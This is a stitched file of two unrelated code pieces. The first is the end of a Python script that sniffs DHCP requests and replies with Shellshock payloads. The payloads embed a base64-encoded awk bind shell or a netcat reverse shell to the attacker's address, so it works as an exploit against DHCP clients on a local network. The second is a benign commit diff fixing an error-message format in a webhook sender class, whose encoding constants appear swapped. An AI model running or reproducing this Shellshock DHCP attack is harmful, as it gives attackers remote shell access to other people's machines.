                    bind_shell = "awk 'BEGIN{s=\"/inet/tcp/" + str(args.bind_port) + \
                                 "/0/0\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}' &"
                    b64shell = b64encode(net_settings + bind_shell)
                    shellshock_url = "() { :" + "; }; /bin/sh <(/usr/bin/base64 -d <<< " + b64shell + ")"

                if args.reverse_shell:
                    reverse_shell = "rm /tmp/f 2>/dev/null;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + \
                                    your_ip_address + " " + str(args.reverse_port) + " >/tmp/f &"
                    b64shell = b64encode(net_settings + reverse_shell)
                    shellshock_url = "() { :" + "; }; /bin/sh <(/usr/bin/base64 -d <<< " + b64shell + ")"

                ack_packet = make_dhcp_ack_packet(transaction_id, requested_ip)
                SOCK.send(ack_packet)
                print "[INFO] Send ack response!"

        SOCK.close()

if __name__ == "__main__":
    print "Waiting for a DHCP DISCOVER, DHCP REQUEST or DHCP INFORM ..."
    sniff(lfilter=lambda d: d.src != eth.get_random_mac() and
                            d.src != Base.get_netiface_mac_address(current_network_interface),
          filter="udp and src port 68 and dst port 67 and dst host 255.255.255.255",
          prn=dhcp_reply, iface=current_network_interface)
<|endoftext|>


<commit_before># -*- coding: utf-8 -*-

from __future__ import absolute_import
import json
import logging
import sys
from time import sleep

from cached_property import cached_property
from standardjson import StandardJSONEncoder
import requests

if not logging.getLogger().getEffectiveLevel():
    logging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)s - %(message)s')

class Senderable(object):

    def __init__(self, wrapped, dkwargs, hash_value, attempts, *args, **kwargs):
        """
            :wrapped: Function that has been wrapped and whose payload is being sent
        """
        self.wrapped = wrapped
        self.dkwargs = dkwargs
        self.hash_value = hash_value
        self.attempts = attempts
        self.args = args
        self.kwargs = kwargs
        self.attempt = 0
        self.success = False
        self.error = None
        self.response = None

    @staticmethod
    def _default_timeout():
        return 5

    @cached_property
    def url(self):
        return self.get_url()

    def get_url(self):
        return "http://httpbin.org/post"

    @cached_property
    def encoding(self):
        return self.get_encoding()

    def get_encoding(self):
        encoding = _value_in('encoding', True, kwargs=self.kwargs, dkwargs=self.dkwargs)
        if not encoding or not (encoding == EncodingType.JSON or encoding == EncodingType.FORMS):
            msg = "Invalid choice for 'encoding'. Valid selections are '%s' or '%s'" % (EncodingType.FORMS, EncodingType.JSON)
            raise TypeError(msg)
        return encoding

    @cached_property
    def timeout(self):
        return self.get_timeout()

    def get_timeout(self):
        return _value_in('timeout', False, kwargs=self.kwargs, dkwargs=self.dkwargs) or self._default_timeout()

    @cached_property
    def payload(self):
        return self.get_payload()

    def get_payload(self):
        """
            1. Create the payload by calling the hooked/wrapped function
            2. Add the hash_value if there is one.

        """
        # Create the payload by calling the hooked/wrapped function.
        payload = self.wrapped(*self.args, **self.kwargs)

        # Add the hash value if there is one.
        if self.hash_value is not None and len(self.hash_value) > 0:
            payload['hash'] = self.hash_value

        return payload

    def format_payload(self):
        if self.get_encoding() == EncodingType.JSON:
            return self.jsonify_payload()
        return self.payload

    def jsonify_payload(self):
        """ Dump the payload to JSON """
        return json.dumps(self.payload, cls=StandardJSONEncoder)

    def notify_debug(self, message):
        logging.debug(message)

    def notify(self, message):
        logging.info(message)

    def notify_error(self, message):
        logging.error(message)

    def send(self):
        """ Wrapper around _send method for use with asynchronous coding. """
        return self._send()

    def _send(self):
        """ Send the webhook method """

        payload = self.payload
        payload['url'] = self.url

        for i, wait in enumerate(range(len(self.attempts) - 1)):

            self.attempt = i + 1

            payload['attempt'] = self.attempt

            # post the payload
            skip_response = False
            post_attributes = {'timeout' : self.timeout}
            encoding_key = 'json' if self.encoding == EncodingType.JSON else 'data'
            post_attributes[encoding_key] = self.format_payload()
            try:
                self.response = requests.post(self.url, **post_attributes)

                if sys.version > '3':
                    # Converts bytes object to str object in Python 3+
                    self.response_content = self.response.content.decode('utf-8')
                else:
                    self.response_content = self.response.content

                payload['status_code'] = self.response.status_code

                # anything with a 200 status code  is a success
                if self.response.status_code >= 200 and self.response.status_code < 300:
                    # Exit the sender method.  Here we provide the payload as a result.
                    #   This is useful for reporting.
                    self.notify("Attempt {}: Successfully sent webhook {}".format(
                        self.attempt, self.hash_value)
                    )
                    payload['response'] = self.response_content
                    self.success = True
                    break
                else:
                    self.error = "Status code %d".format(self.response.status_code)

            except Exception as ex:
                err_formatted = str(ex).replace('"',"'")
                payload['response'] = '{"status_code": 500, "status":"failure","error":"'+err_formatted+'"}'
                self.error = err_formatted

            self.notify("Attempt {}: Could not send webhook {}".format(
                    self.attempt, self.hash_value)
            )
            self.notify_debug("Webhook {}. Body: {}".format(
                    self.hash_value, self.payload)
            )

            # If last attempt
            if self.attempt == (len(self.attempts) - 1):
                self.notify_error("Failed to send webhook {}. Body: {}".format(
                    self.hash_value, self.payload)
                )
            else:
                # Wait a bit before the next attempt
                sleep(wait)

        payload['success'] = self.success
        payload['error'] = None if self.success or not self.error else self.error
        return payload

def _value_in(key, required, dkwargs, kwargs):
    if key in kwargs:
        return kwargs[key]
    elif key in dkwargs:
        return dkwargs[key]
    elif required:
        msg = "Sender function needs a %s argument" % key
        raise TypeError(msg)
    return None

def value_in(key, dkwargs, kwargs):
    return _value_in(key, True, dkwargs, kwargs)

def value_in_opt(key, required, dkwargs, kwargs):
    return _value_in(key, required, dkwargs, kwargs)

class EncodingType(object):
    JSON = 'application/x-www-form-urlencoded'
    FORMS = 'application/json'<commit_msg>NH - small fix.<commit_after># -*- coding: utf-8 -*-

from __future__ import absolute_import
import json
import logging
import sys
from time import sleep

from cached_property import cached_property
from standardjson import StandardJSONEncoder
import requests

if not logging.getLogger().getEffectiveLevel():
    logging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)s - %(message)s')

class Senderable(object):

    def __init__(self, wrapped, dkwargs, hash_value, attempts, *args, **kwargs):
        """
            :wrapped: Function that has been wrapped and whose payload is being sent
        """
        self.wrapped = wrapped
        self.dkwargs = dkwargs
        self.hash_value = hash_value
        self.attempts = attempts
        self.args = args
        self.kwargs = kwargs
        self.attempt = 0
        self.success = False
        self.error = None
        self.response = None

    @staticmethod
    def _default_timeout():
        return 5

    @cached_property
    def url(self):
        return self.get_url()

    def get_url(self):
        return "http://httpbin.org/post"

    @cached_property
    def encoding(self):
        return self.get_encoding()

    def get_encoding(self):
        encoding = _value_in('encoding', True, kwargs=self.kwargs, dkwargs=self.dkwargs)
        if not encoding or not (encoding == EncodingType.JSON or encoding == EncodingType.FORMS):
            msg = "Invalid choice for 'encoding'. Valid selections are '%s' or '%s'" % (EncodingType.FORMS, EncodingType.JSON)
            raise TypeError(msg)
        return encoding

    @cached_property
    def timeout(self):
        return self.get_timeout()

    def get_timeout(self):
        return _value_in('timeout', False, kwargs=self.kwargs, dkwargs=self.dkwargs) or self._default_timeout()

    @cached_property
    def payload(self):
        return self.get_payload()

    def get_payload(self):
        """
            1. Create the payload by calling the hooked/wrapped function
            2. Add the hash_value if there is one.

        """
        # Create the payload by calling the hooked/wrapped function.
        payload = self.wrapped(*self.args, **self.kwargs)

        # Add the hash value if there is one.
        if self.hash_value is not None and len(self.hash_value) > 0:
            payload['hash'] = self.hash_value

        return payload

    def format_payload(self):
        if self.get_encoding() == EncodingType.JSON:
            return self.jsonify_payload()
        return self.payload

    def jsonify_payload(self):
        """ Dump the payload to JSON """
        return json.dumps(self.payload, cls=StandardJSONEncoder)

    def notify_debug(self, message):
        logging.debug(message)

    def notify(self, message):
        logging.info(message)

    def notify_error(self, message):
        logging.error(message)

    def send(self):
        """ Wrapper around _send method for use with asynchronous coding. """
        return self._send()

    def _send(self):
        """ Send the webhook method """

        payload = self.payload
        payload['url'] = self.url

        for i, wait in enumerate(range(len(self.attempts) - 1)):

            self.attempt = i + 1

            payload['attempt'] = self.attempt

            # post the payload
            skip_response = False
            post_attributes = {'timeout' : self.timeout}
            encoding_key = 'json' if self.encoding == EncodingType.JSON else 'data'
            post_attributes[encoding_key] = self.format_payload()
            try:
                self.response = requests.post(self.url, **post_attributes)

                if sys.version > '3':
                    # Converts bytes object to str object in Python 3+
                    self.response_content = self.response.content.decode('utf-8')
                else:
                    self.response_content = self.response.content

                payload['status_code'] = self.response.status_code

                # anything with a 200 status code  is a success
                if self.response.status_code >= 200 and self.response.status_code < 300:
                    # Exit the sender method.  Here we provide the payload as a result.
                    #   This is useful for reporting.
                    self.notify("Attempt {}: Successfully sent webhook {}".format(
                        self.attempt, self.hash_value)
                    )
                    payload['response'] = self.response_content
                    self.success = True
                    break
                else:
                    self.error = "Status code {}".format(self.response.status_code)

            except Exception as ex:
                err_formatted = str(ex).replace('"',"'")
                payload['response'] = '{"status_code": 500, "status":"failure","error":"'+err_formatted+'"}'
                self.error = err_formatted

            self.notify("Attempt {}: Could not send webhook {}".format(
                    self.attempt, self.hash_value)
            )
            self.notify_debug("Webhook {}. Body: {}".format(
                    self.hash_value, self.payload)
            )

            # If last attempt
            if self.attempt == (len(self.attempts) - 1):
                self.notify_error("Failed to send webhook {}. Body: {}".format(
                    self.hash_value, self.payload)
                )
            else:
                # Wait a bit before the next attempt
                sleep(wait)

        payload['success'] = self.success
        payload['error'] = None if self.success or not self.error else self.error
        return payload

def _value_in(key, required, dkwargs, kwargs):
    if key in kwargs:
        return kwargs[key]
    elif key in dkwargs:
        return dkwargs[key]
    elif required:
        msg = "Sender function needs a %s argument" % key
        raise TypeError(msg)
    return None

def value_in(key, dkwargs, kwargs):
    return _value_in(key, True, dkwargs, kwargs)

def value_in_opt(key, required, dkwargs, kwargs):
    return _value_in(key, required, dkwargs, kwargs)

class EncodingType(object):
    JSON = 'application/x-www-form-urlencoded'
    FORMS = 'application/json'<|endoftext|>